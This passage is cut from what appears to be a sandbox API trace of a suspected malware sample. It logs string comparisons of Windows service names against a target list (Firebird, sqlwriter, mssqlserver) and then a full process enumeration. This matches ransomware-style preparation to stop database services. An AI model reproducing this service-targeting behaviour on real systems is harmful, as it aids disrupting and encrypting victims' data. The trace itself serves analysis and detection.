(lpString="SecurityHealthService") returned 21 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0037.202] lstrlenW (lpString="SENS") returned 4 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.202] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.202] lstrlenW (lpString="Spooler") returned 7 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.202] lstrlenW (lpString="StateRepository") returned 15 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0037.202] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0037.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0037.202] lstrlenW (lpString="SysMain") returned 7 [0037.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.203] lstrlenW (lpString="SystemEventsBroker") returned 18 [0037.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0037.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0037.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0037.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0037.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0037.203] lstrlenW (lpString="Themes") returned 6 [0037.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.203] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ed420 | out: hHeap=0x690000) returned 1 [0037.203] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0038.188] Process32FirstW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.188] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.189] lstrlenW (lpString="System") returned 6 [0038.189] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.189] lstrlenW (lpString="smss.exe") returned 8 [0038.190] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.190] lstrlenW (lpString="csrss.exe") returned 9 [0038.190] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.191] lstrlenW (lpString="wininit.exe") returned 11 [0038.191] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.192] lstrlenW (lpString="csrss.exe") returned 9 [0038.192] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.192] lstrlenW (lpString="winlogon.exe") returned 12 [0038.192] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.193] lstrlenW (lpString="services.exe") returned 12 [0038.193] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.193] lstrlenW (lpString="lsass.exe") returned 9 [0038.193] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.194] lstrlenW (lpString="svchost.exe") returned 11 [0038.194] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0038.195] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0038.195] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0038.195] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0038.195] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.196] lstrlenW (lpString="svchost.exe") returned 11 [0038.196] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.196] lstrlenW (lpString="dwm.exe") returned 7 [0038.196] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.197] lstrlenW (lpString="svchost.exe") returned 11 [0038.197] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.230] lstrlenW (lpString="svchost.exe") returned 11 [0038.230] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.231] lstrlenW (lpString="svchost.exe") returned 11 [0038.231] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.232] lstrlenW (lpString="svchost.exe") returned 11 [0038.232] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.232] lstrlenW (lpString="svchost.exe") returned 11 [0038.232] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.233] lstrlenW (lpString="svchost.exe") returned 11 [0038.233] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.233] lstrlenW (lpString="svchost.exe") returned 11 [0038.233] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.234] lstrlenW (lpString="svchost.exe") returned 11 [0038.234] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.235] lstrlenW (lpString="svchost.exe") returned 11 [0038.235] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.235] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.235] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.236] lstrlenW (lpString="svchost.exe") returned 11 [0038.236] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.236] lstrlenW (lpString="svchost.exe") returned 11 [0038.236] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.237] lstrlenW (lpString="audiodg.exe") returned 11 [0038.237] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0038.238] lstrlenW (lpString="sihost.exe") returned 10 [0038.238] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.238] lstrlenW (lpString="svchost.exe") returned 11 [0038.238] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0038.239] lstrlenW (lpString="taskhostw.exe") returned 13 [0038.239] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0038.239] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0038.240] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0038.240] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0038.240] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.241] lstrlenW (lpString="explorer.exe") returned 12 [0038.241] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0038.241] lstrlenW (lpString="Memory Compression") returned 18 [0038.241] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0038.242] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0038.242] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0038.243] lstrlenW (lpString="SearchUI.exe") returned 12 [0038.243] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0038.243] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0038.243] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.244] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.244] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0038.244] lstrlenW (lpString="taskhostw.exe") returned 13 [0038.244] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0038.245] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0038.245] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0038.246] lstrlenW (lpString="msoia.exe") returned 9 [0038.246] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0038.246] lstrlenW (lpString="UsoClient.exe") returned 13 [0038.246] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0038.247] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0038.247] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0038.247] lstrlenW (lpString="msoia.exe") returned 9 [0038.248] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0038.248] lstrlenW (lpString="taskhostw.exe") returned 13 [0038.248] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0038.249] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0038.249] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0038.249] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0038.249] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0038.250] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0038.250] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0038.250] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0038.251] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0038.251] lstrlenW (lpString="arcobviously.exe") returned 16 [0038.251] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0038.262] lstrlenW (lpString="preston disciplines.exe") returned 23 [0038.262] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0038.262] lstrlenW (lpString="boss.exe") returned 8 [0038.262] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0038.263] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0038.263] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0038.264] lstrlenW (lpString="placing.exe") returned 11 [0038.264] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0038.264] lstrlenW (lpString="heroes.exe") returned 10 [0038.264] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0038.265] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0038.265] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0038.265] lstrlenW (lpString="requirement moments.exe") returned 23 [0038.265] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0038.266] lstrlenW (lpString="sugar.exe") returned 9 [0038.266] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0038.267] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0038.267] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0038.268] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0038.268] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0038.269] 